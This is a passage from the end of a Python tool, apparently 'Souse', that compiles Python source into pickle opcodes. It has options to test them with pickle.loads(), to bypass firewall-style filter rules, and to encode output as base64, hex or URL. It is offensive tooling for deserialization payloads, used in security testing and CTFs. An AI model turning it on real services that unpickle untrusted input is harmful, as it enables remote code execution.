514 | # eg: ... = a -> isinstance(node.value, ast.Name)
515 | # eg: ... = 1 -> isinstance(node.value, ast.Constant)
516 | # eg: a = builtins.globals() -> isinstance(node.value, ast.Call)
517 | right_opcode = self._flat(node.value)
518 | self.final_opcode += assign_opcode.replace(
519 | b"{right_opcode}", right_opcode
520 | )
521 |
522 | self.code = put_color("\n".join(
523 | self.source_code.split('\n')
524 | [node.lineno-1: node.end_lineno]
525 | ), "white")
526 | _generate_opcode()
527 |
528 | def visit_Call(self, node):
529 | # 函数调用
530 | def _generate_opcode():
531 | self.final_opcode += self._flat(node)
532 |
533 | self.code = put_color("\n".join(
534 | self.source_code.split('\n')
535 | [node.lineno-1:node.end_lineno]
536 | ), "white")
537 | _generate_opcode()
538 |
539 |
540 | class API:
541 | def __init__(self, source_code, firewall_rules={}, optimized=True, transfer=''):
542 | self.source_code = source_code
543 | self.root = ast.parse(self.source_code)
544 | self.firewall_rules = firewall_rules
545 | self.optimized = optimized
546 | self.transfer = transfer
547 |
548 | def _generate(self):
549 | visitor = Visitor(
550 | self.source_code, self.firewall_rules
551 | )
552 | visitor.visit(self.root)
553 | visitor.souse()
554 | return visitor
555 |
556 | def generate(self):
557 | visitor = Visitor(
558 | self.source_code,
559 | self.firewall_rules,
560 | )
561 | visitor.visit(self.root)
562 | visitor.souse()
563 |
564 | result = visitor.result
565 |
566 | if self.optimized:
567 | result = visitor.optimize()
568 |
569 | if isinstance(self.transfer, list):
570 | for func in self.transfer:
571 | result = func(result)
572 |
573 | return result
574 |
575 | if self.transfer is None or isinstance(self.transfer, str):
576 | self.transfer = transfer_funcs(self.transfer)
577 |
578 | return self.transfer(result)
579 |
580 |
581 | def cli():
582 | Init()
583 | print(LOGO)
584 |
585 | parser = argparse.ArgumentParser(description=f'Version: {VERSION}; Running in Py3.x')
586 | parser.add_argument(
587 | "--check", action="store_true",
588 | help="run pickle.loads() to test opcode"
589 | )
590 | parser.add_argument(
591 | "--no-optimize", action="store_false",
592 | help="do NOT optimize opcode"
593 | )
594 | group = parser.add_mutually_exclusive_group(required=True)
595 | group.add_argument("-f", "--filename", help=".py source code filename")
596 | group.add_argument(
597 | "--run-test", action="store_true",
598 | help="run test with test/*.py (not startswith `N-`)"
599 | )
600 | parser.add_argument(
601 | "-p", "--bypass", default=False,
602 | help="try bypass limitation"
603 | )
604 | parser.add_argument(
605 | "-t", "--transfer", default=None,
606 | help=f"transfer result with: { {i for i in FUNC_NAME.values()} }"
607 | )
608 |
609 | args = parser.parse_args()
610 |
611 | need_check = args.check
612 | need_optimize = args.no_optimize
613 | run_test = args.run_test
614 | transfer = args.transfer
615 | transfer_func = transfer_funcs(transfer)
616 |
617 | if run_test:
618 | # 代码质量测试模式下
619 | # 不优化 opcode、不执行 opcode、不 bypass
620 | need_optimize = False
621 | need_check = False
622 | bypass = False
623 | directory = os.path.join(
624 | *list(os.path.split(__file__)[:-1])+["test"],
625 | )
626 | filenames = sorted([
627 | os.path.join(directory, i) for i in list(os.walk(directory))[0][2]
628 | if not i.startswith("N-")
629 | ])
630 | else:
631 | filenames = [args.filename]
632 |
633 | print(f'[*] need check: {put_color(need_check, ["gray", "green"][int(need_check)])}')
634 | print(f'[*] need optimize: {put_color(need_optimize, ["gray", "green"][int(need_optimize)])}')
635 |
636 | firewall_rules = {}
637 | bypass = False
638 | if args.bypass:
639 | try:
640 | firewall_rules = json.load(open(args.bypass))
641 | except Exception as e:
642 | print("\n[!]", put_color(f"{args.bypass} has invalid bypass rules: {e}\n", 'yellow'))
643 | else:
644 | if not firewall_rules:
645 | print("\n[!]", put_color(f"{args.bypass} has no rules\n", 'yellow'))
646 | else:
647 | bypass = True
648 |
649 | print(f'[*] try bypass: {put_color(args.bypass, ["gray", "cyan"][int(bypass)])}')
650 | print(f'[*] transfer function: {put_color(transfer, ["blue", "gray"][bool(bypass)])}\n')
651 | for filename in filenames:
652 | def tip(c): return f'[+] input: {put_color(filename, c)}'
653 |
654 | source_code = open(filename).read()
655 | try:
656 | visitor = API(
657 | source_code, firewall_rules, need_optimize,
658 | )._generate()
659 | except Exception:
660 | print(tip("red"), end="\n\n")
661 | raise
662 | else:
663 | if run_test:
664 | answer = [
665 | i.replace("# ", "").strip()
666 | for i in source_code.split('\n') if i.strip()
667 | ][-1]
668 | correct = answer == str(visitor.result)
669 | if correct:
670 | print(tip("green"))
671 | continue
672 | else:
673 | print(tip("yellow"))
674 | else:
675 | print(tip("cyan"))
676 |
677 | print(f' [-] raw opcode: {put_color(visitor.result, "green")}')
678 |
679 | if need_optimize:
680 | print(f' [-] optimized opcode: {put_color(visitor.optimize(), "green")}')
681 |
682 | if transfer:
683 | print(f' [-] transfered opcode: {put_color(transfer_func(visitor.optimize()), "green")}')
684 |
685 | elif transfer:
686 | print(f' [-] transfered opcode: {put_color(transfer_func(visitor.result), "green")}')
687 |
688 | if need_check:
689 | print(f' [-] opcode test result: {put_color(visitor.check(), "white")}')
690 |
691 | if run_test:
692 | loc = [
693 | (i, j)
694 | for i, j in zip(enumerate(str(visitor.result)), enumerate(answer))
695 | if i[1] != j[1]
696 | ][0][0][0]
697 | answer = (
698 | put_color(answer[:loc], "green") +
699 | put_color(answer[loc:-1], "yellow") +
700 | put_color(answer[-1], "green")
701 | )
702 | print(f' [-] answer for test: {answer}')
703 |
704 | print("\n[*] done")
705 |
706 |
707 | VERSION = '3.2'
708 | LOGO = (
709 | f'''
710 | ██████ ▒█████ █ ██ ██████ ▓█████
711 | ▒██ ▒ ▒██▒ ██▒ ██ ▓██▒▒██ ▒ ▓█ ▀
712 | ░ ▓██▄ ▒██░ ██▒▓██ ▒██░░ ▓██▄ ▒███
713 | ▒ ██▒▒██ ██░▓▓█ ░██░ ▒ ██▒▒▓█ ▄
714 | ▒██████▒▒░ ████▓▒░▒▒█████▓ ▒██████▒▒░▒████▒
715 | ▒ ▒▓▒ ▒ ░░ ▒░▒░▒░ ░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░░░ ▒░ ░
716 | ░ ░▒ ░ ░ ░ ▒ ▒░ ░░▒░ ░ ░ ░ ░▒ ░ ░ ░ ░ ░
717 | ░ ░ ░ ░ ░ ░ ▒ ░░░ ░ ░ ░ ░ ░ ░
718 | ░ ░ ░ ░ ░ ░ ░ v{Fore.GREEN}{VERSION}{Style.RESET_ALL}
719 | '''
720 | .replace('█', put_color('█', "yellow"))
721 | .replace('▒', put_color('▒', "yellow", bold=False))
722 | .replace('▓', put_color('▓', "yellow"))
723 | .replace('░', put_color('░', "white", bold=False))
724 | .replace('▀', put_color('▀', "yellow"))
725 | .replace('▄', put_color('▄', "yellow"))
726 | )
727 |
728 | FUNC_NAME = {
729 | "b64": "base64_encode",
730 | "base64": "base64_encode",
731 | "base64encode": "base64_encode",
732 |
733 | "hex": "hex_encode",
734 | "hexencode": "hex_encode",
735 |
736 | "url": "url_decode",
737 | "urldecode": "url_decode",
738 | }
739 |
740 | if __name__ == '__main__':
741 | cli()
742 |
--------------------------------------------------------------------------------